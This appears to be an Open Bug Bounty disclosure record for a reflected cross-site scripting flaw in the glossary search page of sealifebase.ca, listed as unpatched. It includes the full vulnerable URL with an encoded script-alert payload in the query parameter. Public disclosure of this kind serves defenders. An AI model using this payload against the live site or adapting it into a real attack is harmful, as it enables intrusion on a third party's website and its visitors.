sealifebase.ca XSS vulnerability

2015-11-24T08:46:00
ID OBB:108526
Type openbugbounty
Reporter vdvcoder
Modified 2015-11-24T08:49:00

Description

Vulnerable URL:
http://www.sealifebase.ca/Glossary/Glossary.php?q=%22%3E%3Cscript%3Ealert%28%27XSSPOSED%27%29%3C%2Fscript%3E&TermEnglish;_required=Glossary+term+can+not+be+blank.
Details:

Description| Value
---|---
Patched:| No
Latest check for patch:| 25.07.2017
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 18950395
Google Pagerank| 3
VIP website status:| No
Check sealifebase.ca SSL connection:| (Grade: F)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability reported| 24 November, 2015 08:46 GMT
Vulnerability existence verified and confirmed| 24 November, 2015 08:49 GMT